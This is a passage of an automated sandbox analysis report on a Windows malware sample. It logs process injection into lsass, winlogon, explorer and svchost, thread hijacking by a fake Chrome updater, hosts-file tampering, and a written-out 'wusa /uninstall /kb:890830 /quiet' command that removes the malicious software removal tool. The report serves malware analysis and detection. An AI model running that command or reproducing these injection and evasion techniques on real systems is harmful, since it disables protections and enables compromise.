Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E3BC273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 3895273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6E56273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1FF7273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F35273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7957273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A46273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 1311273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8C58273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5F1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D9C273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AEC9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC1B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8253273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 66EB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FD9A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CEDB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4279273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B6F3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8DCF273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7373273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA54273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 6CCC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 39D9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: FA39273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B731273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: E88A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 77B5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5D34273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: B5E1273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5999273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 53C2273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 41D4273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: ADAD273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 307273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4DB273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 87A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: C528273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 76AA273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F1B3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F34B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE4D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7447273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: A9D0273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AF8E273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: D893273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5E93273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 43DC273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 97E3273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DC87273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 698D273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F906273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 34C5273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4354273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 8434273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 5892273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 612273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 4869273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AA0F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: EB87273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: F8F8273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 826F273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 7F9273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 10E8273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\wbem\WMIADAP.exe EIP: 8E3273C

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CA30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CA60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: EC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBFA540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7310000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 87A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74470000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F843DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28AF9060000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26106120000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 19D48690000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1A4AA0F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2BEEB870000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AEF8F80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 25B826F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12107F90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1B210E80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 28708E30000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 1028 base: 87A0000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\system64x.exe	Thread register set: target process: 3876	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 7672
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 7728
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread register set: target process: 7780

Modifies the hosts file

Source: C:\Windows\SysWOW64\system64x.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CA30000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CA60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: EC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DCF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBFA540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7310000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 87A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74470000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F843DC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28AF9060000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26106120000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 19D48690000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1A4AA0F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2BEEB870000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AEF8F80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 25B826F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12107F90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1B210E80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 28708E30000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process created: C:\Windows\SysWOW64\system64x.exe "C:\Windows\SysWOW64\system64x.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

17_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

17_2_0000000140001B54

Source: winlogon.exe, 00000016.00000000.2408863317.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3606414486.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000021.00000002.3622373759.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000016.00000000.2408863317.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3606414486.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000021.00000002.3622373759.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000016.00000000.2408863317.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3606414486.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000021.00000002.3622373759.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000016.00000000.2408863317.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000016.00000002.3606414486.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000021.00000002.3622373759.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\winlogon.exe

Code function: 22_2_000001E8589636F0 cpuid

22_2_000001E8589636F0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
